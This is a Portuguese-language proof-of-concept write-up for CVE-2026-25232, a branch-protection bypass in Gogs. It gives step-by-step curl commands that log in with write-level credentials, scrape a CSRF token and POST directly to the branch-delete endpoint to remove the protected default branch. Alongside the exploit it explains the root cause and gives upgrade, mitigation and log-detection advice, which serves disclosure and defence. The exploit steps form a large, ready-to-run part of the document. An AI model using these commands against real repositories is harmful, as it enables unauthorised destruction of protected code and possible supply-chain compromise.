
Prova de conceito para o recente CVE-2026-25232, que é uma vulnerabilidade de escalonamento de privilégios presente no Gogs.
| Campo | Detalhes |
|---|---|
| CVE | CVE-2026-25232 |
| Produto | Gogs (Go Git Service) |
| Versões Afetadas | <= 0.13.4 |
| Versão Corrigida | 0.14.1 |
| Pontuação CVSS | Média |
| CWE | CWE-863: Autorização Incorreta |
| Autenticação Necessária | Sim (permissões de Write em um repositório) |
| Impacto | Escalonamento de privilégios de Write → operações de nível Admin |
CVE-2026-25232 é uma vulnerabilidade de bypass de controle de acesso na interface web do Gogs. Ela permite que qualquer colaborador de repositório com permissões de Write exclua branches protegidas — incluindo a branch padrão — enviando uma requisição POST direta ao endpoint DeleteBranchPost, contornando completamente os mecanismos de proteção de branch.
A causa raiz é uma discrepância entre como a camada de Git Hook e a interface web aplicam a proteção de branch:
DeleteBranchPost não aciona os Git Hooks, portanto a verificação de proteção nunca é executadaIsso permite que um colaborador de baixo privilégio realize operações que deveriam ser restritas apenas aos administradores do repositório.
http://<TARGET>:3001attacker:Password123! (permissões de Write no repositório)admin/important-repomain (branch padrão)Confirme que a branch está protegida e não pode ser excluída por meios normais:
# Tentativa de exclusão normal de branch via API - deve falhar
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
-u 'attacker:Password123!'
Resposta esperada: 403 Forbidden ou erro de proteção.
Obtenha o token CSRF de qualquer página autenticada:
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/user/login' \
-X POST \
-d 'user_name=attacker&password=Password123!'
# Extrair token CSRF de uma página do repositório
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/admin/important-repo' \
| grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3
Envie uma requisição POST direta ao endpoint de exclusão de branch, contornando a verificação de proteção:
curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
-b cookies.txt \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d '_csrf=<CSRF_TOKEN>&name=main'
A branch protegida é excluída apesar de o atacante ter apenas permissões de Write.
curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
-u 'attacker:Password123!'
A branch main não aparecerá mais na resposta.
A função DeleteBranchPost no manipulador web do Gogs valida que o usuário está autenticado e possui acesso de Write ao repositório, mas não verifica se a branch alvo está protegida:
HTTP POST /owner/repo/branches/delete
↓
DeleteBranchPost()
↓
Verificação: O usuário está autenticado? ✓
Verificação: O usuário tem acesso de Write? ✓
Verificação: A branch está protegida? ✗ (AUSENTE)
↓
Branch excluída com sucesso
A camada de Git Hook que aplica a proteção de branch só é acionada durante operações de push/delete Git via SSH ou protocolo HTTP Git — não durante operações da interface web. Essa lacuna arquitetural significa que qualquer colaborador com nível Write pode realizar essa operação.
Um colaborador malicioso com permissões de Write pode:
Em ambientes onde repositórios Gogs alimentam pipelines de implantação automatizada, isso pode levar ao comprometimento da cadeia de suprimentos.
Atualize para o Gogs v0.14.1 ou posterior. A correção adiciona verificações de autorização adequadas na função DeleteBranchPost para verificar o status de proteção da branch antes de permitir a exclusão, independentemente de como a requisição é feita.
Como mitigação temporária:
/repos/{owner}/{repo}/branches/deleteProcure pelos seguintes indicadores de exploração:
/<owner>/<repo>/branches/delete nos logs do servidor webEste PoC é apenas para fins educacionais e testes de segurança autorizados. Não use contra sistemas para os quais você não tenha permissão explícita para testar.